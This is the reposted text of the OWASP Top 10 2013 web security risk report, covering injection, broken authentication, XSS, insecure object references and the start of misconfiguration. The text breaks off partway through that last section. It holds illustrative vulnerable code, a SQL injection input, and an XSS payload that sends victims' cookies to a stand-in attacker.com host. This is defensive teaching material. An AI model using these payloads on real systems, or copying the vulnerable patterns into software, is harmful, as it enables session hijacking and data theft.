OWASP_Top_10_2013.pdf
PDF 982 KB Posted
- Solicitation number
- HQ0147-16-R-0022
- Issued by
-
DOD Missile Defense Agency
About this file
OWASP Top 10 2013
View the file
Other files
Show 40 more
Latest 50 of 56 listed here. See the rest on GovTribe.
On GovTribe
Work with this file
- Download the original file
- Contacts named in this file
- Similar government files
- Ask GovTribe AI about this file
Text version
O About OWASP
Copyright and License
Copyright © 2003 – 2013 The OWASP Foundation
This document is released under the Creative Commons Attribution ShareAlike 3.0 license. For any reuse or distribution, you must make it clear to others the license terms of this work.
Foreword
Insecure software is undermining our financial, healthcare, defense, energy, and other critical infrastructure. As our digital infrastructure gets increasingly complex and interconnected, the difficulty of achieving application security increases exponentially. We can no longer afford to tolerate relatively simple security problems like those presented in this OWASP Top 10.
The goal of the Top 10 project is to raise awareness about application security by identifying some of the most critical risks facing organizations. The Top 10 project is referenced by many standards, books, tools, and organizations, including MITRE, PCI DSS, DISA, FTC, and many more. This release of the OWASP Top 10 marks this project’s tenth anniversary of raising awareness of the importance of application security risks. The OWASP Top 10 was first released in 2003, with minor updates in 2004 and 2007. The 2010 version was revamped to prioritize by risk, not just prevalence. This 2013 edition follows the same approach.
We encourage you to use the Top 10 to get your organization started with application security. Developers can learn from the mistakes of other organizations. Executives should start thinking about how to manage the risk that software applications create in their enterprise.
In the long term, we encourage you to create an application security program that is compatible with your culture and technology. These programs come in all shapes and sizes, and you should avoid attempting to do everything prescribed by some process model. Instead, leverage your organization’s existing strengths to do and measure what works for you.
We hope that the OWASP Top 10 is useful to your application security efforts. Please don’t hesitate to contact OWASP with your questions, comments, and ideas, either publicly to owasp-topten@lists.owasp.org or privately to dave.wichers@owasp.org.
About OWASP
The Open Web Application Security Project (OWASP) is an open community dedicated to enabling organizations to develop, purchase, and maintain applications that can be trusted. At OWASP you’ll find free and open …
• Application security tools and standards
• Complete books on application security testing, secure code development, and secure code review
• Standard security controls and libraries
• Local chapters worldwide
• Cutting edge research
• Extensive conferences worldwide
• Mailing lists
Learn more at: https://www.owasp.org
All of the OWASP tools, documents, forums, and chapters are free and open to anyone interested in improving application security. We advocate approaching application security as a people, process, and technology problem, because the most effective approaches to application security require improvements in all of these areas.
OWASP is a new kind of organization. Our freedom from commercial pressures allows us to provide unbiased, practical, cost-effective information about application security. OWASP is not affiliated with any technology company, although we support the informed use of commercial security technology.
Similar to many open source software projects, OWASP produces many types of materials in a collaborative, open way.
The OWASP Foundation is the non-profit entity that ensures the project’s long-term success. Almost everyone associated with OWASP is a volunteer, including the OWASP Board, Global Committees, Chapter Leaders, Project Leaders, and project members. We support innovative security research with grants and infrastructure.
Come join us!
http://creativecommons.org/licenses/by-sa/3.0/ https://www.owasp.org/index.php/Industry:Citations mailto:owasp-topten@lists.owasp.org mailto:owasp-topten@lists.owasp.org mailto:owasp-topten@lists.owasp.org mailto:owasp-topten@lists.owasp.org https://www.owasp.org/index.php/Category:OWASP_Chapter https://www.owasp.org/index.php/Category:OWASP_Chapter https://www.owasp.org/index.php/Category:OWASP_Chapter https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference https://lists.owasp.org/mailman/listinfo https://www.owasp.org/
Welcome
Welcome to the OWASP Top 10 2013! This update broadens one of the categories from the 2010 version to be more inclusive of common, important vulnerabilities, and reorders some of the others based on changing prevalence data. It also brings component security into the spotlight by creating a specific category for this risk, pulling it out of the obscurity of the fine print of the 2010 risk A6: Security Misconfiguration.
The OWASP Top 10 for 2013 is based on 8 datasets from 7 firms that specialize in application security, including 4 consulting companies and 3 tool/SaaS vendors (1 static, 1 dynamic, and 1 with both). This data spans over 500,000 vulnerabilities across hundreds of organizations and thousands of applications. The Top 10 items are selected and prioritized according to this prevalence data, in combination with consensus estimates of exploitability, detectability, and impact estimates.
The primary aim of the OWASP Top 10 is to educate developers, designers, architects, managers, and organizations about the consequences of the most important web application security weaknesses. The Top 10 provides basic techniques to protect against these high risk problem areas – and also provides guidance on where to go from here.
Warnings
Don’t stop at 10. There are hundreds of issues that could affect the overall security of a web application as discussed in the OWASP Developer’s Guide and the OWASP Cheat Sheet Series. These are essential reading for anyone developing web applications. Guidance on how to effectively find vulnerabilities in web applications is provided in the OWASP Testing Guide and the OWASP Code Review Guide.
Constant change. This Top 10 will continue to change. Even without changing a single line of your application’s code, you may become vulnerable as new flaws are discovered and attack methods are refined. Please review the advice at the end of the Top 10 in “What’s Next For Developers, Verifiers, and Organizations” for more information.
Think positive. When you’re ready to stop chasing vulnerabilities and focus on establishing strong application security controls, OWASP has produced the Application Security Verification Standard (ASVS) as a guide to organizations and application reviewers on what to verify.
Use tools wisely. Security vulnerabilities can be quite complex and buried in mountains of code. In many cases, the most cost-effective approach for finding and eliminating these weaknesses is human experts armed with good tools.
Push left. Focus on making security an integral part of your culture throughout your development organization. Find out more in the Open Software Assurance Maturity Model (SAMM) and the Rugged Handbook.
Attribution
Thanks to Aspect Security for initiating, leading, and updating the OWASP Top 10 since its inception in 2003, and to its primary authors: Jeff Williams and Dave Wichers.
We’d like to thank those organizations that contributed their vulnerability prevalence data to support the 2013 update:
Aspect Security – Statistics HP – Statistics from both Fortify and WebInspect Minded Security – Statistics Softtek – Statistics Trustwave, SpiderLabs – Statistics (See page 50) Veracode – Statistics WhiteHat Security Inc. – Statistics
We would like to thank everyone who contributed to previous versions of the Top 10. Without these contributions, it wouldn’t be what it is today. We’d also like to thank those who contributed significant constructive comments and time reviewing this update to the Top 10:
Adam Baso (Wikimedia Foundation) Mike Boberski (Booz Allen Hamilton) Torsten Gigler Neil Smithline – (MorphoTrust USA) For producing the wiki version of the Top 10, and also providing feedback
And finally, we’d like to thank in advance all the translators out there that will translate this release of the Top 10 into numerous different languages, helping to make the OWASP Top 10 more accessible to the entire planet.
I Introduction https://www.owasp.org/index.php/OWASP_Guide_Project https://www.owasp.org/index.php/Cheat_Sheets https://www.owasp.org/index.php/Cheat_Sheets https://www.owasp.org/index.php/Category:OWASP_Testing_Project https://www.owasp.org/index.php/Category:OWASP_Testing_Project https://www.owasp.org/index.php/Category:OWASP_Code_Review_Project https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model https://www.owasp.org/index.php/Category:Software_Assurance_Maturity_Model http://ruggedsoftware.org/ https://www.aspectsecurity.com/ https://www.aspectsecurity.com/ https://www.aspectsecurity.com/uploads/downloads/2013/06/Aspect-2013-Global-AppSec-Risk-Report.pdf http://www.hpenterprisesecurity.com/ http://www.hpenterprisesecurity.com/collateral/whitepaper/HP2012CyberRiskReport_0313.pdf http://www.mindedsecurity.com/ http://blog.mindedsecurity.com/2013/02/real-life-vulnerabilities-statistics.html http://www.softtek.com/ https://www.softtek.com/webdocs/special_pdfs/WP-State-of-the-art-2013.pdf https://www.trustwave.com/spiderlabs/ http://www2.trustwave.com/rs/trustwave/images/2013-Global-Security-Report.pdf http://www.veracode.com/ http://info.veracode.com/rs/veracode/images/VERACODE-SOSS-V4.PDF https://www.whitehatsec.com/ http://owasptop10.googlecode.com/files/WPstats_winter11_11th.pdf https://www.aspectsecurity.com/
What Changed From 2010 to 2013?
The threat landscape for applications security constantly changes. Key factors in this evolution are advances made by attackers, the release of new technologies with new weaknesses as well as more built in defenses, and the deployment of increasingly complex systems. To keep pace, we periodically update the OWASP Top 10. In this 2013 release, we made the following changes:
1) Broken Authentication and Session Management moved up in prevalence based on our data set. We believe this is probably because this area is being looked at harder, not because these issues are actually more prevalent. This caused Risks A2 and A3 to switch places.
2) Cross-Site Request Forgery (CSRF) moved down in prevalence based on our data set from 2010-A5 to 2013-A8. We believe this is because CSRF has been in the OWASP Top 10 for 6 years, and organizations and framework developers have focused on it enough to significantly reduce the number of CSRF vulnerabilities in real world applications.
3) We broadened Failure to Restrict URL Access from the 2010 OWASP Top 10 to be more inclusive:
+ 2010-A8: Failure to Restrict URL Access is now 2013-A7: Missing Function Level Access Control – to cover all of function level access control. There are many ways to specify which function is being accessed, not just the URL.
4) We merged and broadened 2010-A7 & 2010-A9 to CREATE: 2013-A6: Sensitive Data Exposure:
– This new category was created by merging 2010-A7 – Insecure Cryptographic Storage & 2010-A9 - Insufficient Transport Layer Protection, plus adding browser side sensitive data risks as well. This new category covers sensitive data protection (other than access control which is covered by 2013-A4 and 2013-A7) from the moment sensitive data is provided by the user, sent to and stored within the application, and then sent back to the browser again.
5) We added: 2013-A9: Using Known Vulnerable Components:
+ This issue was mentioned as part of 2010-A6 – Security Misconfiguration, but now has a category of its own as the growth and depth of component based development has significantly increased the risk of using known vulnerable components.
OWASP Top 10 – 2010 (Previous) OWASP Top 10 – 2013 (New)
A1 – Injection A1 – Injection
A3 – Broken Authentication and Session Management A2 – Broken Authentication and Session Management
A2 – Cross-Site Scripting (XSS) A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References A4 – Insecure Direct Object References
A6 – Security Misconfiguration A5 – Security Misconfiguration
A7 – Insecure Cryptographic Storage – Merged with A9 A6 – Sensitive Data Exposure
A8 – Failure to Restrict URL Access – Broadened into A7 – Missing Function Level Access Control
A5 – Cross-Site Request Forgery (CSRF) A8 – Cross-Site Request Forgery (CSRF)
<buried in A6: Security Misconfiguration> A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards A10 – Unvalidated Redirects and Forwards
A9 – Insufficient Transport Layer Protection Merged with 2010-A7 into new 2013-A6
Release Notes RN
Weakness
Attack
Threat Agents
Impact Weakness
Attack
Attack Vectors
Security Weaknesses
Technical Impacts
Business Impacts
Attack
Impact
Impact
Asset
Function
Asset
Weakness
Control
Control
Control Weakness
Security Controls
Application Security Risks Risk
References
OWASP
• OWASP Risk Rating Methodology
• Article on Threat/Risk Modeling
External
• FAIR Information Risk Framework
• Microsoft Threat Modeling (STRIDE and DREAD)
What’s My Risk?
The OWASP Top 10 focuses on identifying the most serious risks for a broad array of organizations. For each of these risks, we provide generic information about likelihood and technical impact using the following simple ratings scheme, which is based on the OWASP Risk Rating Methodology.
Only you know the specifics of your environment and your business. For any given application, there may not be a threat agent that can perform the relevant attack, or the technical impact may not make any difference to your business. Therefore, you should evaluate each risk for yourself, focusing on the threat agents, security controls, and business impacts in your enterprise. We list Threat Agents as Application Specific, and Business Impacts as Application / Business Specific to indicate these are clearly dependent on the details about your application in your enterprise.
The names of the risks in the Top 10 stem from the type of attack, the type of weakness, or the type of impact they cause. We chose names that accurately reflect the risks and, where possible, align with common terminology most likely to raise awareness.
What Are Application Security Risks?
Attackers can potentially use many different paths through your application to do harm to your business or organization. Each of these paths represents a risk that may, or may not, be serious enough to warrant attention.
Sometimes, these paths are trivial to find and exploit and sometimes they are extremely difficult. Similarly, the harm that is caused may be of no consequence, or it may put you out of business. To determine the risk to your organization, you can evaluate the likelihood associated with each threat agent, attack vector, and security weakness and combine it with an estimate of the technical and business impact to your organization. Together, these factors determine the overall risk.
Threat Agents
Attack Vectors
Weakness Prevalence
Weakness Detectability
Technical Impacts
Business Impacts
App Specific
Easy Widespread Easy Severe App /
Business Specific
Average Common Average Moderate
Difficult Uncommon Difficult Minor http://www.owasp.org/index.php/Command_Injection https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology https://www.owasp.org/index.php/Threat_Risk_Modeling http://www.owasp.org/index.php/Command_Injection http://fairwiki.riskmanagementinsight.com/ http://msdn.microsoft.com/en-us/library/aa302419.aspx http://msdn.microsoft.com/en-us/library/aa302419.aspx https://www.owasp.org/index.php/Top_10 https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology
Injection flaws, such as SQL, OS, and LDAP injection occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data can trick the interpreter into executing unintended commands or accessing data without proper authorization.
A1 – Injection
Application functions related to authentication and session management are often not implemented correctly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users’ identities.
A2 – Broken Authentication and
Session Management
XSS flaws occur whenever an application takes untrusted data and sends it to a web browser without proper validation or escaping. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites.
A3 – Cross-Site Scripting (XSS)
A direct object reference occurs when a developer exposes a reference to an internal implementation object, such as a file, directory, or database key. Without an access control check or other protection, attackers can manipulate these references to access unauthorized data.
A4 – Insecure Direct Object
References
Good security requires having a secure configuration defined and deployed for the application, frameworks, application server, web server, database server, and platform. Secure settings should be defined, implemented, and maintained, as defaults are often insecure. Additionally, software should be kept up to date.
A5 – Security Misconfiguration
Many web applications do not properly protect sensitive data, such as credit cards, tax IDs, and authentication credentials. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data deserves extra protection such as encryption at rest or in transit, as well as special precautions when exchanged with the browser.
A6 – Sensitive Data Exposure
Most web applications verify function level access rights before making that functionality visible in the UI. However, applications need to perform the same access control checks on the server when each function is accessed. If requests are not verified, attackers will be able to forge requests in order to access functionality without proper authorization.
A7 – Missing Function Level Access Control
A CSRF attack forces a logged-on victim’s browser to send a forged HTTP request, including the victim’s session cookie and any other automatically included authentication information, to a vulnerable web application. This allows the attacker to force the victim’s browser to generate requests the vulnerable application thinks are legitimate requests from the victim.
A8 - Cross-Site Request Forgery
(CSRF)
Components, such as libraries, frameworks, and other software modules, almost always run with full privileges. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications using components with known vulnerabilities may undermine application defenses and enable a range of possible attacks and impacts.
A9 - Using Components with
Known Vulnerabilities
Web applications frequently redirect and forward users to other pages and websites, and use untrusted data to determine the destination pages. Without proper validation, attackers can redirect victims to phishing or malware sites, or use forwards to access unauthorized pages.
A10 – Unvalidated Redirects and
Forwards
OWASP Top 10 Application Security Risks – 2013 T10
Application Specific Exploitability
EASY
Prevalence
COMMON
Detectability
AVERAGE
Impact
SEVERE
Application / Business Specific
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Attacker sends simple text-based attacks that exploit the syntax of the targeted interpreter. Almost any source of data can be an injection vector, including internal sources.
Injection flaws occur when an application sends untrusted data to an interpreter.
Injection flaws are very prevalent, particularly in legacy code. They are often found in SQL, LDAP, Xpath, or NoSQL queries; OS commands; XML parsers, SMTP Headers, program arguments, etc.
Injection flaws are easy to discover when examining code, but frequently hard to discover via testing. Scanners and fuzzers can help attackers find injection flaws.
Injection can result in data loss or corruption, lack of accountability, or denial of access.
Injection can sometimes lead to complete host takeover.
Consider the business value of the affected data and the platform running the interpreter. All data could be stolen, modified, or deleted. Could your reputation be harmed?
Example Attack Scenarios Scenario #1: The application uses untrusted data in the construction of the following vulnerable SQL call:
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
Scenario #2: Similarly, an application’s blind trust in frameworks may result in queries that are still vulnerable, (e.g., Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID='“ + request.getParameter("id") + "'");
In both cases, the attacker modifies the ‘id’ parameter value in her browser to send: ' or '1'='1. For example:
http://example.com/app/accountView?id=' or '1'='1
This changes the meaning of both queries to return all the records from the accounts table. More dangerous attacks could modify data or even invoke stored procedures.
Am I Vulnerable To Injection?
The best way to find out if an application is vulnerable to injection is to verify that all use of interpreters clearly separates untrusted data from the command or query. For SQL calls, this means using bind variables in all prepared statements and stored procedures, and avoiding dynamic queries.
Checking the code is a fast and accurate way to see if the application uses interpreters safely. Code analysis tools can help a security analyst find the use of interpreters and trace the data flow through the application. Penetration testers can validate these issues by crafting exploits that confirm the vulnerability.
Automated dynamic scanning which exercises the application may provide insight into whether some exploitable injection flaws exist. Scanners cannot always reach interpreters and have difficulty detecting whether an attack was successful.
Poor error handling makes injection flaws easier to discover.
• OWASP SQL Injection Prevention Cheat Sheet
• OWASP Query Parameterization Cheat Sheet
• OWASP Command Injection Article
• OWASP XML eXternal Entity (XXE) Reference Article
• ASVS: Output Encoding/Escaping Requirements (V6)
• OWASP Testing Guide: Chapter on SQL Injection Testing
External
• CWE Entry 77 on Command Injection
• CWE Entry 89 on SQL Injection
• CWE Entry 564 on Hibernate Injection
How Do I Prevent Injection?
Preventing injection requires keeping untrusted data separate from commands and queries.
1. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterized interface. Be careful with APIs, such as stored procedures, that are parameterized, but can still introduce injection under the hood.
2. If a parameterized API is not available, you should carefully escape special characters using the specific escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
3. Positive or “white list” input validation is also recommended, but is not a complete defense as many applications require special characters in their input. If special characters are required, only approaches 1. and 2.
above will make their use safe. OWASP’s ESAPI has an extensible library of white list input validation routines.
A1 Injection
Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts http://www.owasp.org/index.php/Injection_Flaws http://www.owasp.org/index.php/Command_Injection https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet https://www.owasp.org/index.php/Command_Injection https://www.owasp.org/index.php/XXE https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005) http://www.owasp.org/index.php/Command_Injection http://cwe.mitre.org/data/definitions/77.html http://cwe.mitre.org/data/definitions/89.html http://cwe.mitre.org/data/definitions/564.html https://www.owasp.org/index.php/ESAPI http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html https://www.owasp.org/index.php/ESAPI http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
AVERAGE
Prevalence
WIDESPREAD
Detectability
AVERAGE
Impact
SEVERE
Application / Business Specific
Consider anonymous external attackers, as well as users with their own accounts, who may attempt to steal accounts from others. Also consider insiders wanting to disguise their actions.
Attacker uses leaks or flaws in the authentication or session management functions (e.g., exposed accounts, passwords, session IDs) to impersonate users.
Developers frequently build custom authentication and session management schemes, but building these correctly is hard. As a result, these custom schemes frequently have flaws in areas such as logout, password management, timeouts, remember me, secret question, account update, etc. Finding such flaws can sometimes be difficult, as each implementation is unique.
Such flaws may allow some or even all accounts to be attacked. Once successful, the attacker can do anything the victim could do. Privileged accounts are frequently targeted.
Consider the business value of the affected data or application functions.
Also consider the business impact of public exposure of the vulnerability.
Scenario #1: Airline reservations application supports URL rewriting, putting session IDs in the URL:
http://example.com/sale/saleitems;jsessionid= 2P0OC2JSNDLPSKHCJUN2JV?dest=Hawaii
An authenticated user of the site wants to let his friends know about the sale. He e-mails the above link without knowing he is also giving away his session ID. When his friends use the link they will use his session and credit card.
Scenario #2: Application’s timeouts aren’t set properly. User uses a public computer to access site. Instead of selecting “logout” the user simply closes the browser tab and walks away. Attacker uses the same browser an hour later, and that browser is still authenticated.
Scenario #3: Insider or external attacker gains access to the system’s password database. User passwords are not properly hashed, exposing every users’ password to the attacker.
Am I Vulnerable to Hijacking?
Are session management assets like user credentials and session IDs properly protected? You may be vulnerable if:
1. User authentication credentials aren’t protected when stored using hashing or encryption. See A6.
2. Credentials can be guessed or overwritten through weak account management functions (e.g., account creation, change password, recover password, weak session IDs).
3. Session IDs are exposed in the URL (e.g., URL rewriting).
4. Session IDs are vulnerable to session fixation attacks.
5. Session IDs don’t timeout, or user sessions or authentication tokens, particularly single sign-on (SSO) tokens, aren’t properly invalidated during logout.
6. Session IDs aren’t rotated after successful login.
7. Passwords, session IDs, and other credentials are sent over unencrypted connections. See A6.
See the ASVS requirement areas V2 and V3 for more details.
For a more complete set of requirements and problems to avoid in this area, see the ASVS requirements areas for Authentication (V2) and Session Management (V3).
• OWASP Authentication Cheat Sheet
• OWASP Forgot Password Cheat Sheet
• OWASP Session Management Cheat Sheet
• OWASP Development Guide: Chapter on Authentication
• OWASP Testing Guide: Chapter on Authentication
External
• CWE Entry 287 on Improper Authentication
• CWE Entry 384 on Session Fixation
How Do I Prevent This?
The primary recommendation for an organization is to make available to developers:
1. A single set of strong authentication and session management controls. Such controls should strive to:
a) meet all the authentication and session management requirements defined in OWASP’s Application Security Verification Standard (ASVS) areas V2 (Authentication) and V3 (Session Management).
b) have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
2. Strong efforts should also be made to avoid XSS flaws which can be used to steal session IDs. See A3.
A2 Broken Authentication and Session Management
Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts https://www.owasp.org/index.php/Session_fixation https://www.owasp.org/index.php/ASVS http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/Authentication_Cheat_Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet https://www.owasp.org/index.php/Session_Management_Cheat_Sheet https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet https://www.owasp.org/index.php/Testing_for_authentication http://www.owasp.org/index.php/Command_Injection http://cwe.mitre.org/data/definitions/287.html http://cwe.mitre.org/data/definitions/384.html https://www.owasp.org/index.php/ASVS http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
AVERAGE
Prevalence
VERY WIDESPREAD
Detectability
EASY
Impact
MODERATE
Application /
Business Specific
Consider anyone who can send untrusted data to the system, including external users, internal users, and administrators.
Attacker sends text-based attack scripts that exploit the interpreter in the browser. Almost any source of data can be an attack vector, including internal sources such as data from the database.
XSS is the most prevalent web application security flaw. XSS flaws occur when an application includes user supplied data in a page sent to the browser without properly validating or escaping that content. There are three known types of XSS flaws: 1) Stored, 2) Reflected, and 3) DOM based XSS.
Detection of most XSS flaws is fairly easy via testing or code analysis.
Attackers can execute scripts in a victim’s browser to hijack user sessions, deface web sites, insert hostile content, redirect users, hijack the user’s browser using malware, etc.
Consider the business value of the affected system and all the data it processes.
Also consider the business impact of
Example Attack Scenario The application uses untrusted data in the construction of the following HTML snippet without validation or escaping:
(String) page += "<input name='creditcard' type='TEXT‘ value='" + request.getParameter("CC") + "'>";
The attacker modifies the ‘CC’ parameter in his browser to:
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'.
This causes the victim’s session ID to be sent to the attacker’s website, allowing the attacker to hijack the user’s current session.
Note that attackers can also use XSS to defeat any automated CSRF defense the application might employ. See A8 for info on CSRF.
Am I Vulnerable to XSS?
You are vulnerable if you do not ensure that all user supplied input is properly escaped, or you do not verify it to be safe via input validation, before including that input in the output page. Without proper output escaping or validation, such input will be treated as active content in the browser. If Ajax is being used to dynamically update the page, are you using safe JavaScript APIs? For unsafe JavaScript APIs, encoding or validation must also be used.
Automated tools can find some XSS problems automatically.
However, each application builds output pages differently and uses different browser side interpreters such as JavaScript, ActiveX, Flash, and Silverlight, making automated detection difficult. Therefore, complete coverage requires a combination of manual code review and penetration testing, in addition to automated approaches.
Web 2.0 technologies, such as Ajax, make XSS much more difficult to detect via automated tools.
• OWASP XSS Prevention Cheat Sheet
• OWASP DOM based XSS Prevention Cheat Sheet
• OWASP Cross-Site Scripting Article
• ESAPI Encoder API
• ASVS: Output Encoding/Escaping Requirements (V6)
• OWASP AntiSamy: Sanitization Library
• Testing Guide: 1st 3 Chapters on Data Validation Testing
• OWASP Code Review Guide: Chapter on XSS Review
• OWASP XSS Filter Evasion Cheat Sheet
• CWE Entry 79 on Cross-Site Scripting
How Do I Prevent XSS?
Preventing XSS requires separation of untrusted data from active browser content.
1. The preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into.
See the OWASP XSS Prevention Cheat Sheet for details on the required data escaping techniques.
2. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. Such validation should, as much as possible, validate the length, characters, format, and business rules on that data before accepting the input.
3. For rich content, consider auto-sanitization libraries like OWASP’s AntiSamy or the Java HTML Sanitizer Project.
4. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
A3 Cross-Site Scripting (XSS)
Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/DOM_Based_XSS https://www.owasp.org/images/c/c5/Unraveling_some_Mysteries_around_DOM-based_XSS.pdf http://www.owasp.org/index.php/Command_Injection https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS) http://www.owasp.org/index.php/ESAPI http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/AntiSamy https://www.owasp.org/index.php/Testing_for_Data_Validation https://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet http://www.owasp.org/index.php/Command_Injection http://cwe.mitre.org/data/definitions/79.html http://cwe.mitre.org/data/definitions/79.html http://cwe.mitre.org/data/definitions/79.html https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet https://www.owasp.org/index.php/AntiSamy https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project https://www.owasp.org/index.php/Content_Security_Policy
EASY
Prevalence
COMMON
Detectability
EASY
Impact
MODERATE
Application / Business Specific
Consider the types of users of your system. Do any users have only partial access to certain types of system data?
Attacker, who is an authorized system user, simply changes a parameter value that directly refers to a system object to another object the user isn’t authorized for. Is access granted?
Applications frequently use the actual name or key of an object when generating web pages. Applications don’t always verify the user is authorized for the target object. This results in an insecure direct object reference flaw. Testers can easily manipulate parameter values to detect such flaws. Code analysis quickly shows whether authorization is properly verified.
Such flaws can compromise all the data that can be referenced by the parameter. Unless object references are unpredictable, it’s easy for an attacker to access all available data of that type.
Consider the business value of the exposed data.
Also consider the business impact of
The application uses unverified data in a SQL call that is accessing account information:
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query , … );
pstmt.setString( 1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
The attacker simply modifies the ‘acct’ parameter in her browser to send whatever account number she wants. If not properly verified, the attacker can access any user’s account, instead of only the intended customer’s account.
http://example.com/app/accountInfo?acct=notmyacct
Am I Vulnerable?
The best way to find out if an application is vulnerable to insecure direct object references is to verify that all object references have appropriate defenses. To achieve this, consider:
1. For direct references to restricted resources, does the application fail to verify the user is authorized to access the exact resource they have requested?
2. If the reference is an indirect reference, does the mapping to the direct reference fail to limit the values to those authorized for the current user?
Code review of the application can quickly verify whether either approach is implemented safely. Testing is also effective for identifying direct object references and whether they are safe. Automated tools typically do not look for such flaws because they cannot recognize what requires protection or what is safe or unsafe.
• OWASP Top 10-2007 on Insecure Dir Object References
• ESAPI Access Reference Map API
• ESAPI Access Control API (See isAuthorizedForData(), isAuthorizedForFile(), isAuthorizedForFunction() )
For additional access control requirements, see the ASVS requirements area for Access Control (V4).
• CWE Entry 639 on Insecure Direct Object References
• CWE Entry 22 on Path Traversal (an example of a Direct Object Reference attack)
Preventing insecure direct object references requires selecting an approach for protecting each user accessible object (e.g., object number, filename):
1. Use per user or session indirect object references. This prevents attackers from directly targeting unauthorized resources. For example, instead of using the resource’s database key, a drop down list of six resources authorized for the current user could use the numbers 1 to 6 to indicate which value the user selected. The application has to map the per-user indirect reference back to the actual database key on the server. OWASP’s ESAPI includes both sequential and random access reference maps that developers can use to eliminate direct object references.
2. Check access. Each use of a direct object reference from an untrusted source must include an access control check to ensure the user is authorized for the requested object.
Insecure Direct Object References A4 Security Weakness
Attack Vectors
Technical Impacts Threat
Agents
Business Impacts http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference https://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessReferenceMap.html http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/AccessReferenceMap.html http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/AccessController.html https://www.owasp.org/index.php/ASVS https://www.owasp.org/index.php/ASVS http://www.owasp.org/index.php/Command_Injection http://cwe.mitre.org/data/definitions/639.html http://cwe.mitre.org/data/definitions/22.html
EASY
Prevalence
COMMON
Detectability
EASY
Impact
MODERATE
Application / Business Specific
Consider anonymous external attackers as well as users with their own accounts that may attempt to compromise the system. Also consider insiders wanting to disguise their actions.
Attacker accesses default accounts, unused pages, unpatched flaws, unprotected files and directories, etc.
to gain unauthorized access to or knowledge of the system.
Security misconfiguration can happen at any level of an application stack, including the platform, web server, application server, database, framework, and custom code. Developers and system administrators need to work together to ensure that the entire stack is configured properly. Automated scanners are useful for detecting missing patches, misconfigurations, use of default accounts, unnecessary services, etc.
Such flaws frequently give attackers unauthorized access to some system data or functionality.
Occasionally, such flaws result in a complete system compromise.
The system could be completely compromised without you knowing it. All of your data could be stolen or modified slowly over time.
Recovery costs could be expensive.
Scenario #1: The app server admin console is automatically installed and not removed. Default accounts aren’t changed.
Attacker discovers the standard admin pages are on your server, logs in with default passwords, and takes over.
Scenario #2: Directory listing is not disabled on your server.
